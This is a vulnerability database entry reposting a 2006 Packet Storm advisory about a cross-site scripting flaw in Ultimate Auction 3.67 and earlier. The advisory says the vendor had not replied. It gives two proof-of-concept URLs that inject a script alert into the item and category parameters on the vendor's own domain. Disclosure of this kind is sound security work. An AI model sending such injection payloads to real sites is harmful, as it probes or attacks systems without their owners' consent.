Lucene search

ua367XSS.txt

🗓️ 21 Jan 2006 00:00:00Reported by QuerkopfType

packetstorm🔗 packetstormsecurity.com👁 15 Views

Found XSS in Ultimate Auction <=3.67, reported to vendor in Oct 2005, no fix or respons

AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

`Hello!  
  
I've found a XSS in Ultimate Auction <=3.67. The Vendor was informed mid  
October 2005! They still haven't fix the script and doesn't reply to mails.  
  
Here's a little Example:  
  
  
http://www.ultimate-auction.de/cgi-local/auktion/item.pl/item.pl?item=<script>alert("XSS")</script>  
http://www.ultimate-auction.de/cgi-local/auktion/itemlist.pl?category=<script>alert("XSS")</script>  
  
The bug has the BID 16239  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo

21 Jan 2006 00:00Current

7.4High risk

Vulners AI Score7.4